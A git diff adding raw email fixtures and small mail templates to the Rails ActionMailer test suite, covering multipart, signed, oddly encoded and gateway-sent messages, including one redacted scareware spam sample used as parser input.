+Content-Transfer-Encoding: 7bit
+
+
+--
+This Orange Multi Media Message was sent wirefree from an Orange
+MMS phone. If you would like to reply, please text or phone the
+sender directly by using the phone number listed in the sender's
+address. To learn more about Orange's Multi Media Messaging
+Service, find us on the Web at xxx.xxxx.xxx.uk/mms
+
+
+--mimepart_427e4cb4ca329_133ae40413c81ef
+
+
+--mimepart_427e4cb4ca329_133ae40413c81ef-
+
diff --git a/actionmailer/test/fixtures/raw_email5 b/actionmailer/test/fixtures/raw_email5
new file mode 100644
index 0000000..bbe31bc
--- /dev/null
+++ b/actionmailer/test/fixtures/raw_email5
@@ -0,0 +1,19 @@
+Return-Path: <xxx at xxxx.xxx>
+Received: from xxx.xxxx.xxx by xxx.xxxx.xxx with ESMTP id C1B953B4CB6 for <xxxxx at Exxx.xxxx.xxx>; Tue, 10 May 2005 15:27:05 -0500
+Received: from SMS-GTYxxx.xxxx.xxx by xxx.xxxx.xxx with ESMTP id ca for <xxxxx at Exxx.xxxx.xxx>; Tue, 10 May 2005 15:27:04 -0500
+Received: from xxx.xxxx.xxx by SMS-GTYxxx.xxxx.xxx with ESMTP id j4AKR3r23323 for <xxxxx at Exxx.xxxx.xxx>; Tue, 10 May 2005 15:27:03 -0500
+Date: Tue, 10 May 2005 15:27:03 -0500
+From: xxx at xxxx.xxx
+Sender: xxx at xxxx.xxx
+To: xxxxxxxxxxx at xxxx.xxxx.xxx
+Message-Id: <xxx at xxxx.xxx>
+X-Original-To: xxxxxxxxxxx at xxxx.xxxx.xxx
+Delivered-To: xxx at xxxx.xxx
+Importance: normal
+
+Test test. Hi. Waving. m
+
+----------------------------------------------------------------
+Sent via Bell Mobility's Text Messaging service.
+Envoyé par le service de messagerie texte de Bell Mobilité.
+----------------------------------------------------------------
diff --git a/actionmailer/test/fixtures/raw_email6 b/actionmailer/test/fixtures/raw_email6
new file mode 100644
index 0000000..8e37bd7
--- /dev/null
+++ b/actionmailer/test/fixtures/raw_email6
@@ -0,0 +1,20 @@
+Return-Path: <xxx at xxxx.xxx>
+Received: from xxx.xxxx.xxx by xxx.xxxx.xxx with ESMTP id C1B953B4CB6 for <xxxxx at Exxx.xxxx.xxx>; Tue, 10 May 2005 15:27:05 -0500
+Received: from SMS-GTYxxx.xxxx.xxx by xxx.xxxx.xxx with ESMTP id ca for <xxxxx at Exxx.xxxx.xxx>; Tue, 10 May 2005 15:27:04 -0500
+Received: from xxx.xxxx.xxx by SMS-GTYxxx.xxxx.xxx with ESMTP id j4AKR3r23323 for <xxxxx at Exxx.xxxx.xxx>; Tue, 10 May 2005 15:27:03 -0500
+Date: Tue, 10 May 2005 15:27:03 -0500
+From: xxx at xxxx.xxx
+Sender: xxx at xxxx.xxx
+To: xxxxxxxxxxx at xxxx.xxxx.xxx
+Message-Id: <xxx at xxxx.xxx>
+X-Original-To: xxxxxxxxxxx at xxxx.xxxx.xxx
+Delivered-To: xxx at xxxx.xxx
+Importance: normal
+Content-Type: text/plain; charset=us-ascii
+
+Test test. Hi. Waving. m
+
+----------------------------------------------------------------
+Sent via Bell Mobility's Text Messaging service.
+Envoyé par le service de messagerie texte de Bell Mobilité.
+----------------------------------------------------------------
diff --git a/actionmailer/test/fixtures/raw_email7 b/actionmailer/test/fixtures/raw_email7
new file mode 100644
index 0000000..da64ada
--- /dev/null
+++ b/actionmailer/test/fixtures/raw_email7
@@ -0,0 +1,66 @@
+Mime-Version: 1.0 (Apple Message framework v730)
+Content-Type: multipart/mixed; boundary=Apple-Mail-13-196941151
+Message-Id: <9169D984-4E0B-45EF-82D4-8F5E53AD7012 at example.com>
+From: foo at example.com
+Subject: testing
+Date: Mon, 6 Jun 2005 22:21:22 +0200
+To: blah at example.com
+
+
+--Apple-Mail-13-196941151
+Content-Type: multipart/mixed;
+ boundary=Apple-Mail-12-196940926
+
+
+--Apple-Mail-12-196940926
+Content-Transfer-Encoding: quoted-printable
+Content-Type: text/plain;
+ charset=ISO-8859-1;
+ delsp=yes;
+ format=flowed
+
+This is the first part.
+
+--Apple-Mail-12-196940926
+Content-Transfer-Encoding: 7bit
+Content-Type: text/x-ruby-script;
+ x-unix-mode=0666;
+ name="test.rb"
+Content-Disposition: attachment;
+ filename=test.rb
+
+puts "testing, testing"
+
+--Apple-Mail-12-196940926
+Content-Transfer-Encoding: base64
+Content-Type: application/pdf;
+ x-unix-mode=0666;
+ name="test.pdf"
+Content-Disposition: inline;
+ filename=test.pdf
+
+YmxhaCBibGFoIGJsYWg=
+
+--Apple-Mail-12-196940926
+Content-Transfer-Encoding: 7bit
+Content-Type: text/plain;
+ charset=US-ASCII;
+ format=flowed
+
+
+
+--Apple-Mail-12-196940926--
+
+--Apple-Mail-13-196941151
+Content-Transfer-Encoding: base64
+Content-Type: application/pkcs7-signature;
+ name=smime.p7s
+Content-Disposition: attachment;
+ filename=smime.p7s
+
+jamisSqGSIb3DQEHAqCAMIjamisxCzAJBgUrDgMCGgUAMIAGCSqGSjamisEHAQAAoIIFSjCCBUYw
+ggQujamisQICBD++ukQwDQYJKojamisNAQEFBQAwMTELMAkGA1UEBhMCRjamisAKBgNVBAoTA1RE
+QzEUMBIGjamisxMLVERDIE9DRVMgQ0jamisNMDQwMjI5MTE1OTAxWhcNMDYwMjamisIyOTAxWjCB
+gDELMAkGA1UEjamisEsxKTAnBgNVBAoTIEjamisuIG9yZ2FuaXNhdG9yaXNrIHRpbjamisRuaW5=
+
+--Apple-Mail-13-196941151--
diff --git a/actionmailer/test/fixtures/raw_email8 b/actionmailer/test/fixtures/raw_email8
new file mode 100644
index 0000000..7999636
--- /dev/null
+++ b/actionmailer/test/fixtures/raw_email8
@@ -0,0 +1,47 @@
+From xxxxxxxxx.xxxxxxx at gmail.com Sun May 8 19:07:09 2005
+Return-Path: <xxxxxxxxx.xxxxxxx at gmail.com>
+Message-ID: <e85734b90505081209eaaa17b at mail.gmail.com>
+Date: Sun, 8 May 2005 14:09:11 -0500
+From: xxxxxxxxx xxxxxxx <xxxxxxxxx.xxxxxxx at gmail.com>
+Reply-To: xxxxxxxxx xxxxxxx <xxxxxxxxx.xxxxxxx at gmail.com>
+To: xxxxx xxxx <xxxxx at xxxxxxxxx.com>
+Subject: Fwd: Signed email causes file attachments
+In-Reply-To: <F6E2D0B4-CC35-4A91-BA4C-C7C712B10C13 at mac.com>
+Mime-Version: 1.0
+Content-Type: multipart/mixed;
+ boundary="----=_Part_5028_7368284.1115579351471"
+References: <F6E2D0B4-CC35-4A91-BA4C-C7C712B10C13 at mac.com>
+
+------=_Part_5028_7368284.1115579351471
+Content-Type: text/plain; charset=ISO-8859-1
+Content-Transfer-Encoding: quoted-printable
+Content-Disposition: inline
+
+We should not include these files or vcards as attachments.
+
+---------- Forwarded message ----------
+From: xxxxx xxxxxx <xxxxxxxx at xxx.com>
+Date: May 8, 2005 1:17 PM
+Subject: Signed email causes file attachments
+To: xxxxxxx at xxxxxxxxxx.com
+
+
+Hi,
+
+Test attachments oddly encoded with japanese charset.
+
+
+------=_Part_5028_7368284.1115579351471
+Content-Type: application/octet-stream; name*=iso-2022-jp'ja'01%20Quien%20Te%20Dij%8aat.%20Pitbull.mp3
+Content-Transfer-Encoding: base64
+Content-Disposition: attachment
+
+MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCSqGSIb3DQEHAQAAoIIGFDCCAs0w
+ggI2oAMCAQICAw5c+TANBgkqhkiG9w0BAQQFADBiMQswCQYDVQQGEwJaQTElMCMGA1UEChMcVGhh
+d3RlIENvbnN1bHRpbmcgKFB0eSkgTHRkLjEsMCoGA1UEAxMjVGhhd3RlIFBlcnNvbmFsIEZyZWVt
+YWlsIElzc3VpbmcgQ0EwHhcNMDUwMzI5MDkzOTEwWhcNMDYwMzI5MDkzOTEwWjBCMR8wHQYDVQQD
+ExZUaGF3dGUgRnJlZW1haWwgTWVtYmVyMR8wHQYJKoZIhvcNAQkBFhBzbWhhdW5jaEBtYWMuY29t
+MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAn90dPsYS3LjfMY211OSYrDQLzwNYPlAL
+7+/0XA+kdy8/rRnyEHFGwhNCDmg0B6pxC7z3xxJD/8GfCd+IYUUNUQV5m9MkxfP9pTVXZVIYLaBw
+------=_Part_5028_7368284.1115579351471--
+
diff --git a/actionmailer/test/fixtures/raw_email9 b/actionmailer/test/fixtures/raw_email9
new file mode 100644
index 0000000..02ea0b0
--- /dev/null
+++ b/actionmailer/test/fixtures/raw_email9
@@ -0,0 +1,28 @@
+Received: from xxx.xxx.xxx ([xxx.xxx.xxx.xxx] verified)
+ by xxx.com (CommuniGate Pro SMTP 4.2.8)
+ with SMTP id 2532598 for xxx at xxx.com; Wed, 23 Feb 2005 17:51:49 -0500
+Received-SPF: softfail
+ receiver=xxx.com; client-ip=xxx.xxx.xxx.xxx; envelope-from=xxx at xxx.xxx
+quite Delivered-To: xxx at xxx.xxx
+Received: by xxx.xxx.xxx (Wostfix, from userid xxx)
+ id 0F87F333; Wed, 23 Feb 2005 16:16:17 -0600
+Date: Wed, 23 Feb 2005 18:20:17 -0400
+From: "xxx xxx" <xxx at xxx.xxx>
+Message-ID: <4D6AA7EB.6490534 at xxx.xxx>
+To: xxx at xxx.com
+Subject: Stop adware/spyware once and for all.
+X-Scanned-By: MIMEDefang 2.11 (www dot roaringpenguin dot com slash mimedefang)
+
+You are infected with:
+Ad Ware and Spy Ware
+
+Get your free scan and removal download now,
+before it gets any worse.
+
+http://xxx.xxx.info?aid=3D13&?stat=3D4327kdzt
+
+
+
+
+no more? (you will still be infected)
+http://xxx.xxx.info/discon/?xxx@xxx.com
diff --git a/actionmailer/test/fixtures/raw_email_quoted_with_0d0a b/actionmailer/test/fixtures/raw_email_quoted_with_0d0a
new file mode 100644
index 0000000..8a2c25a
--- /dev/null
+++ b/actionmailer/test/fixtures/raw_email_quoted_with_0d0a
@@ -0,0 +1,14 @@
+Mime-Version: 1.0 (Apple Message framework v730)
+Message-Id: <9169D984-4E0B-45EF-82D4-8F5E53AD7012 at example.com>
+From: foo at example.com
+Subject: testing
+Date: Mon, 6 Jun 2005 22:21:22 +0200
+To: blah at example.com
+Content-Transfer-Encoding: quoted-printable
+Content-Type: text/plain
+
+A fax has arrived from remote ID ''.=0D=0A-----------------------=
+-------------------------------------=0D=0ATime: 3/9/2006 3:50:52=
+ PM=0D=0AReceived from remote ID: =0D=0AInbound user ID XXXXXXXXXX, r=
+outing code XXXXXXXXX=0D=0AResult: (0/352;0/0) Successful Send=0D=0AP=
+age record: 1 - 1=0D=0AElapsed time: 00:58 on channel 11=0D=0A
diff --git a/actionmailer/test/fixtures/raw_email_with_invalid_characters_in_content_type b/actionmailer/test/fixtures/raw_email_with_invalid_characters_in_content_type
new file mode 100644
index 0000000..a8ff7ed
--- /dev/null
+++ b/actionmailer/test/fixtures/raw_email_with_invalid_characters_in_content_type
@@ -0,0 +1,104 @@
+Return-Path: <mikel.other at baci>
+Received: from some.isp.com by baci with ESMTP id 632BD5758 for <mikel.lindsaar at baci>; Sun, 21 Oct 2007 19:38:21 +1000
+Date: Sun, 21 Oct 2007 19:38:13 +1000
+From: Mikel Lindsaar <mikel.other at baci>
+Reply-To: Mikel Lindsaar <mikel.other at baci>
+To: mikel.lindsaar at baci
+Message-Id: <009601c813c6$19df3510$0437d30a at mikel091a>
+Subject: Testing outlook
+Mime-Version: 1.0
+Content-Type: multipart/alternative; boundary=----=_NextPart_000_0093_01C81419.EB75E850
+Delivered-To: mikel.lindsaar at baci
+X-Mimeole: Produced By Microsoft MimeOLE V6.00.2900.3138
+X-Msmail-Priority: Normal
+
+This is a multi-part message in MIME format.
+
+
+------=_NextPart_000_0093_01C81419.EB75E850
+Content-Type: text/plain; charset=iso-8859-1
+Content-Transfer-Encoding: Quoted-printable
+
+Hello
+This is an outlook test
+
+So there.
+
+Me.
+
+------=_NextPart_000_0093_01C81419.EB75E850
+Content-Type: text/html; charset=iso-8859-1
+Content-Transfer-Encoding: Quoted-printable
+
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
+<HTML><HEAD>
+<META http-equiv=3DContent-Type content=3D"text/html; =
+charset=3Diso-8859-1">
+<META content=3D"MSHTML 6.00.6000.16525" name=3DGENERATOR>
+<STYLE></STYLE>
+</HEAD>
+<BODY bgColor=3D#ffffff>
+<DIV><FONT face=3DArial size=3D2>Hello</FONT></DIV>
+<DIV><FONT face=3DArial size=3D2><STRONG>This is an outlook=20
+test</STRONG></FONT></DIV>
+<DIV><FONT face=3DArial size=3D2><STRONG></STRONG></FONT> </DIV>
+<DIV><FONT face=3DArial size=3D2><STRONG>So there.</STRONG></FONT></DIV>
+<DIV><FONT face=3DArial size=3D2></FONT> </DIV>
+<DIV><FONT face=3DArial size=3D2>Me.</FONT></DIV></BODY></HTML>
+
+
+------=_NextPart_000_0093_01C81419.EB75E850--
+
+
+Return-Path: <mikel.other at baci>
+Received: from some.isp.com by baci with ESMTP id 632BD5758 for <mikel.lindsaar at baci>; Sun, 21 Oct 2007 19:38:21 +1000
+Date: Sun, 21 Oct 2007 19:38:13 +1000
+From: Mikel Lindsaar <mikel.other at baci>
+Reply-To: Mikel Lindsaar <mikel.other at baci>
+To: mikel.lindsaar at baci
+Message-Id: <009601c813c6$19df3510$0437d30a at mikel091a>
+Subject: Testing outlook
+Mime-Version: 1.0
+Content-Type: multipart/alternative; boundary=----=_NextPart_000_0093_01C81419.EB75E850
+Delivered-To: mikel.lindsaar at baci
+X-Mimeole: Produced By Microsoft MimeOLE V6.00.2900.3138
+X-Msmail-Priority: Normal
+
+This is a multi-part message in MIME format.
+
+
+------=_NextPart_000_0093_01C81419.EB75E850
+Content-Type: text/plain; charset=iso-8859-1
+Content-Transfer-Encoding: Quoted-printable
+
+Hello
+This is an outlook test
+
+So there.
+
+Me.
+
+------=_NextPart_000_0093_01C81419.EB75E850
+Content-Type: text/html; charset=iso-8859-1
+Content-Transfer-Encoding: Quoted-printable
+
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
+<HTML><HEAD>
+<META http-equiv=3DContent-Type content=3D"text/html; =
+charset=3Diso-8859-1">
+<META content=3D"MSHTML 6.00.6000.16525" name=3DGENERATOR>
+<STYLE></STYLE>
+</HEAD>
+<BODY bgColor=3D#ffffff>
+<DIV><FONT face=3DArial size=3D2>Hello</FONT></DIV>
+<DIV><FONT face=3DArial size=3D2><STRONG>This is an outlook=20
+test</STRONG></FONT></DIV>
+<DIV><FONT face=3DArial size=3D2><STRONG></STRONG></FONT> </DIV>
+<DIV><FONT face=3DArial size=3D2><STRONG>So there.</STRONG></FONT></DIV>
+<DIV><FONT face=3DArial size=3D2></FONT> </DIV>
+<DIV><FONT face=3DArial size=3D2>Me.</FONT></DIV></BODY></HTML>
+
+
+------=_NextPart_000_0093_01C81419.EB75E850--
+
+
diff --git a/actionmailer/test/fixtures/raw_email_with_nested_attachment b/actionmailer/test/fixtures/raw_email_with_nested_attachment
new file mode 100644
index 0000000..429c408
--- /dev/null
+++ b/actionmailer/test/fixtures/raw_email_with_nested_attachment
@@ -0,0 +1,100 @@
+From jamis at 37signals.com Thu Feb 22 11:20:31 2007
+Mime-Version: 1.0 (Apple Message framework v752.3)
+Message-Id: <2CCE0408-10C7-4045-9B16-A1C11C31469B at 37signals.com>
+Content-Type: multipart/signed;
+ micalg=sha1;
+ boundary=Apple-Mail-42-587703407;
+ protocol="application/pkcs7-signature"
+To: Jamis Buck <jamis at jamisbuck.org>
+Subject: Testing attachments
+From: Jamis Buck <jamis at 37signals.com>
+Date: Thu, 22 Feb 2007 11:20:31 -0700
+
+
+--Apple-Mail-42-587703407
+Content-Type: multipart/mixed;
+ boundary=Apple-Mail-41-587703287
+
+
+--Apple-Mail-41-587703287
+Content-Transfer-Encoding: 7bit
+Content-Type: text/plain;
+ charset=US-ASCII;
+ format=flowed
+
+Here is a test of an attachment via email.
+
+- Jamis
+
+
+--Apple-Mail-41-587703287
+Content-Transfer-Encoding: base64
+Content-Type: image/png;
+ x-unix-mode=0644;
+ name=byo-ror-cover.png
+Content-Disposition: inline;
+ filename=truncated.png
+
+iVBORw0KGgoAAAANSUhEUgAAAKUAAADXCAYAAAB7wZEQAAAABHNCSVQICAgIfAhkiAAAAAlwSFlz
+AAALEgAACxIB0t1+/AAAABd0RVh0Q3JlYXRpb24gVGltZQAxLzI1LzIwMDeD9CJVAAAAGHRFWHRT
+b2Z0d2FyZQBBZG9iZSBGaXJld29ya3NPsx9OAAAyBWlUWHRYTUw6Y29tLmFkb2JlLnhtcDw/eHBh
+Y2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+Cjx4OnhtcG1l
+dGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDQuMS1j
+MDIwIDEuMjU1NzE2LCBUdWUgT2N0IDEwIDIwMDYgMjM6MTY6MzQiPgogICA8cmRmOlJERiB4bWxu
+czpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPgogICAg
+ICA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIgogICAgICAgICAgICB4bWxuczp4YXA9Imh0
+dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iPgogICAgICAgICA8eGFwOkNyZWF0b3JUb29sPkFk
+b2JlIEZpcmV3b3JrcyBDUzM8L3hhcDpDcmVhdG9yVG9vbD4KICAgICAgICAgPHhhcDpDcmVhdGVE
+YXRlPjIwMDctMDEtMjVUMDU6Mjg6MjFaPC94YXA6Q3JlYXRlRGF0ZT4KICAgICAgICAgPHhhcDpN
+b2RpZnlEYXRlPjIwMDctMDEtMjVUMDU6Mjg6MjFaPC94YXA6TW9kaWZ5RGF0ZT4KICAgICAgPC9y
+ZGY6RGVzY3JpcHRpb24+CiAgICAgIDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiCiAgICAg
+ICAgICAgIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyI+CiAgICAg
+ICAgIDxkYzpmb3JtYXQ+aW1hZ2UvcG5nPC9kYzpmb3JtYXQ+CiAgICAgIDwvcmRmOkRlc2NyaXB0
+hhojpmnJMfaYFmSkXWg5PGCmHXVj/c9At0hSK2xGdd8F3muk0VFjb4f5Ue0ksQ8qAcq0delaXhdb
+DjKNnF+3B3t9kObZYmk7AZgWYqO9anpR3wpM9sQ5XslB9a+kWyTtNb0fOmudzGHfPFBQDKesyycm
+DBL7Cw5bXjIEuci+SSOm/LYnXDZu6iuPEj8lYBb+OU8xx1f9m+e5rhJiYKqjo5vHfiZp+VUkW9xc
+Ufd6JHNWc47PkQqb9ie3SLEZB/ZqyAssiqURY+G35iOMZUrHbasHnb80QAPv9FHtAbJIyro7bi5b
+ai2TEAKen5+LJNWrglZjm3UbZvt7KryA2J5b5J1jZF8kL6GzvG1Zqx54Y1y7J7n20wMOt9frG2sW
+uwGP07kNz3732vf6bfvAvLldfS+9fts2euXY37D+R29FGZdlnhzV4TTFmPJduBP2RbNNua4rTqcT
+Qt7Xy1KUB0AHSdP5AZQYvHZg7WD1XvYeMO1A9HhZPqMX5KXbMBrn2efxns/ee21674efxz4Tp/fq
+2HZ648dgYaC1i3Vq1IbNPq3PvDTPezY9FaRISjvnzWqdgcWN8EJgjnNq+Z7ktOm9l2Nfth28EZi4
+bG/we5JwxM+Tql47/D/X6b38I8/RyxvxPJrX6zvQbo3h9jyJx+C0ALX327QETHl5eYlaYCT5rPTb
++5/rAq26t3lKIxV/p88hq6ptngdgCzoPjJqndiLfc/6y5A14WeDFGNPct4iUsJBV2bYzLEV7m83s
+6Rp63VPhHKC/g/LzaU9qexJRr56043JWinqAtfZqsSm1sjoznthl54dtCqv+uL4nIY+oYWuc3+nH
+kGfn8b0HQpvOYLQAZUDanbJs3jQhITZEgdarZK+cO6ySlL13rut5nFaN23s7u3Snz6eRPTkCoc2/
+Vp1zHfZVFpZ87FiMVLV1iqyK5rlzfji2GzjfDsodlD+Weo5UD4h6PwKqzQMqID0tq2VjjFVSMpis
+ZLRAs7sePZBZAHI+gIanB8I7MD+femAceeUe2Kxa5jS950kZ1p5eNEdeX1+jFmSpZ+1EdWCsDcne
+NPNgUHNw3aYpnzv9PGTX0uo94EtN9qq1rOdxe3kc79T8ukeHJJ8Fnxej6qlylbLLsjQLOy6Xy2a1
+kefs/N+nM7+S7IG5/E5Yc7F003pWErLjbH0O5cGadiMptSB/DZ5U5DI9yeg5MFYyMj8lC/Y7/Xjq
+OZlWcnpg9aQfXz2HRq+Wn5xOp6gN8tWq8R44e2pfyzLYemEgprst+XXk2Zj2nXlbsG05BprndTMv
+C3QRaXczshhVsHnMgfYn80Y2g5JureA6wBasPeP7LkE/jvZMJAaf/g/U2RelHsisvan5FqweIAHg
+Pwc7L68GxvVDAAAAAElFTkSuQmCC
+
+--Apple-Mail-41-587703287--
+
+--Apple-Mail-42-587703407
+Content-Transfer-Encoding: base64
+Content-Type: application/pkcs7-signature;
+ name=smime.p7s
+Content-Disposition: attachment;
+ filename=smime.p7s
+
+MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCSqGSIb3DQEHAQAAoIIGJzCCAuAw
+ggJJoAMCAQICEFjnFNYXwDEZRWY5EkfzopUwDQYJKoZIhvcNAQEFBQAwYjELMAkGA1UEBhMCWkEx
+JTAjBgNVBAoTHFRoYXd0ZSBDb25zdWx0aW5nIChQdHkpIEx0ZC4xLDAqBgNVBAMTI1RoYXd0ZSBQ
+ZXJzb25hbCBGcmVlbWFpbCBJc3N1aW5nIENBMB4XDTA2MDkxMjE3MDExMloXDTA3MDkxMjE3MDEx
+MlowRTEfMB0GA1UEAxMWVGhhd3RlIEZyZWVtYWlsIE1lbWJlcjEiMCAGCSqGSIb3DQEJARYTamFt
+aXNAMzdzaWduYWxzLmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAO2A9JeOFIFJ
+G6z8pTcAldrZ2nMe+Xb1tNrbHgoVzN/QhHXM4qst2Ml93cmFLjMmwG7P9RJeU4oNx+jTqVoBB7NV
+Ne1/o56Do0KhfMZ9iUDQdPLbkZMq4EEpFMdm6PyM3muRKwPhj66iAWe/osCb8DowUK2f66vaRx0Z
+Y0MQHIIrXE02Ta4IfAhIfPqBLkZ4WgTYBHN9vMdYea1jF0GO4gqGk1wqwb3yxv2QMYMbwJ6SI+k/
+ZjkSR/OilTCBhwYLKoZIhvcNAQkQAgsxeKB2MGIxCzAJBgNVBAYTAlpBMSUwIwYDVQQKExxUaGF3
+dGUgQ29uc3VsdGluZyAoUHR5KSBMdGQuMSwwKgYDVQQDEyNUaGF3dGUgUGVyc29uYWwgRnJlZW1h
+aWwgSXNzdWluZyBDQQIQWOcU1hfAMRlFZjkSR/OilTANBgkqhkiG9w0BAQEFAASCAQCfwQiC3v6/
+yleRDGv3bJ4nQYQ+c3mz3+mn3Xi6uU35n3piwxZZaWRdmLyiXPvU+QReHpSf3l2qsEZM3sdE0XF9
+eRul/+QTFJcDNXOEAxG1zC2Gpz+6c6RrX4Ou12Pwkp+pNrZWTSY/mZgdqcArupOBcZi7qBjoWcy5
+wb54dfvSSjrjmqLbkH/E8ww/6gGQuU/xXpAUZgUrTmQHrNKeIdSh5oDkOxFaFWvnmb8Z/2ixKqW/
+Ux6WqamyvBtTs/5YBEtnpZOk+uVoscYEUBhU+DVJ2OSvTdXSivMtBdXmGTsG22k+P1NGUHi/A7ev
+xPaO0uk4V8xyjNlN4HPuGpkrlXwPAAAAAAAA
+
+--Apple-Mail-42-587703407--
diff --git a/actionmailer/test/fixtures/raw_email_with_partially_quoted_subject b/actionmailer/test/fixtures/raw_email_with_partially_quoted_subject
new file mode 100644
index 0000000..e86108d
--- /dev/null
+++ b/actionmailer/test/fixtures/raw_email_with_partially_quoted_subject
@@ -0,0 +1,14 @@
+From jamis at 37signals.com Mon May 2 16:07:05 2005
+Mime-Version: 1.0 (Apple Message framework v622)
+Content-Transfer-Encoding: base64
+Message-Id: <d3b8cf8e49f04480850c28713a1f473e at 37signals.com>
+Content-Type: text/plain;
+ charset=EUC-KR;
+ format=flowed
+To: jamis at 37signals.com
+From: Jamis Buck <jamis at 37signals.com>
+Subject: Re: Test: =?UTF-8?B?Iua8ouWtlyI=?= mid =?UTF-8?B?Iua8ouWtlyI=?= tail
+Date: Mon, 2 May 2005 16:07:05 -0600
+
+tOu6zrrQwMcguLbC+bChwfa3ziwgv+y4rrTCIMfPs6q01MC7ILnPvcC0z7TZLg0KDQrBpiDAzLin
+wLogSmFtaXPA1LTPtNku
diff --git a/actionmailer/test/fixtures/second_mailer/share.erb b/actionmailer/test/fixtures/second_mailer/share.erb
new file mode 100644
index 0000000..9a54010
--- /dev/null
+++ b/actionmailer/test/fixtures/second_mailer/share.erb
@@ -0,0 +1 @@
+second mail
diff --git a/actionmailer/test/fixtures/templates/signed_up.erb b/actionmailer/test/fixtures/templates/signed_up.erb
new file mode 100644
index 0000000..7afe1f6
--- /dev/null
+++ b/actionmailer/test/fixtures/templates/signed_up.erb
@@ -0,0 +1,3 @@
+Hello there,
+
+Mr. <%= @recipient %>
\ No newline at end of file
diff --git a/actionmailer/test/fixtures/test_mailer/_subtemplate.text.erb b/actionmailer/test/fixtures/test_mailer/_subtemplate.text.erb
new file mode 100644
index 0000000..3b4ba35
--- /dev/null
+++ b/actionmailer/test/fixtures/test_mailer/_subtemplate.text.erb
@@ -0,0 +1 @@
+let's go!
\ No newline at end of file
diff --git a/actionmailer/test/fixtures/test_mailer/custom_templating_extension.html.haml b/actionmailer/test/fixtures/test_mailer/custom_templating_extension.html.haml
new file mode 100644
index 0000000..8dcf974
--- /dev/null
+++ b/actionmailer/test/fixtures/test_mailer/custom_templating_extension.html.haml
@@ -0,0 +1,6 @@
+%p Hello there,
+
+%p
+ Mr.
+ = @recipient
+ from haml
\ No newline at end of file
diff --git a/actionmailer/test/fixtures/test_mailer/custom_templating_extension.text.haml b/actionmailer/test/fixtures/test_mailer/custom_templating_extension.text.haml
new file mode 100644
index 0000000..8dcf974
--- /dev/null
+++ b/actionmailer/test/fixtures/test_mailer/custom_templating_extension.text.haml
@@ -0,0 +1,6 @@
+%p Hello there,
+
+%p
+ Mr.
+ = @recipient
+ from haml
\ No newline at end of file
diff --git a/actionmailer/test/fixtures/test_mailer/implicitly_multipart_example.html.erb b/actionmailer/test/fixtures/test_mailer/implicitly_multipart_example.html.erb
new file mode 100644
index 0000000..946d99e
--- /dev/null
+++ b/actionmailer/test/fixtures/test_mailer/implicitly_multipart_example.html.erb
@@ -0,0 +1,10 @@
+<html>
+ <body>
+ HTML formatted message to <strong><%= @recipient %></strong>.
+ </body>
+</html>
+<html>
+ <body>
+ HTML formatted message to <strong><%= @recipient %></strong>.
+ </body>
+</html>
diff --git a/actionmailer/test/fixtures/test_mailer/implicitly_multipart_example.ignored.erb b/actionmailer/test/fixtures/test_mailer/implicitly_multipart_example.ignored.erb
new file mode 100644
index 0000000..6940419
--- /dev/null
+++ b/actionmailer/test/fixtures/test_mailer/implicitly_multipart_example.ignored.erb
@@ -0,0 +1 @@
+Ignored when searching for implicitly multipart parts.
diff --git a/actionmailer/test/fixtures/test_mailer/implicitly_multipart_example.text.erb b/actionmailer/test/fixtures/test_mailer/implicitly_multipart_example.text.erb
new file mode 100644
index 0000000..a6c8d54
--- /dev/null
+++ b/actionmailer/test/fixtures/test_mailer/implicitly_multipart_example.text.erb
@@ -0,0 +1,2 @@
+Plain text to <%= @recipient %>.
+Plain text to <%= @recipient %>.
diff --git a/actionmailer/test/fixtures/test_mailer/implicitly_multipart_example.yaml.erb b/actionmailer/test/fixtures/test_mailer/implicitly_multipart_example.yaml.erb
new file mode 100644
index 0000000..c14348c
--- /dev/null
+++ b/actionmailer/test/fixtures/test_mailer/implicitly_multipart_example.yaml.erb
@@ -0,0 +1 @@
+yaml to: <%= @recipient %>
\ No newline at end of file
diff --git a/actionmailer/test/fixtures/test_mailer/included_subtemplate.text.erb b/actionmailer/test/fixtures/test_mailer/included_subtemplate.text.erb
new file mode 100644
index 0000000..a93c30e
--- /dev/null
+++ b/actionmailer/test/fixtures/test_mailer/included_subtemplate.text.erb
@@ -0,0 +1 @@
+Hey Ho, <%= render :partial => "subtemplate" %>
\ No newline at end of file
diff --git a/actionmailer/test/fixtures/test_mailer/multipart_alternative.html.erb b/actionmailer/test/fixtures/test_mailer/multipart_alternative.html.erb
new file mode 100644
index 0000000..73ea14f
--- /dev/null
+++ b/actionmailer/test/fixtures/test_mailer/multipart_alternative.html.erb
@@ -0,0 +1 @@
+<strong>foo</strong> <%= @foo %>
\ No newline at end of file
diff --git a/actionmailer/test/fixtures/test_mailer/multipart_alternative.plain.erb b/actionmailer/test/fixtures/test_mailer/multipart_alternative.plain.erb
new file mode 100644
index 0000000..779fe4c
--- /dev/null
+++ b/actionmailer/test/fixtures/test_mailer/multipart_alternative.plain.erb
@@ -0,0 +1 @@
+foo: <%= @foo %>
\ No newline at end of file
diff --git a/actionmailer/test/fixtures/test_mailer/rxml_template.rxml b/actionmailer/test/fixtures/test_mailer/rxml_template.rxml
new file mode 100644
index 0000000..d566bd8
--- /dev/null
+++ b/actionmailer/test/fixtures/test_mailer/rxml_template.rxml
@@ -0,0 +1,2 @@
+xml.instruct!
+xml.test
\ No newline at end of file
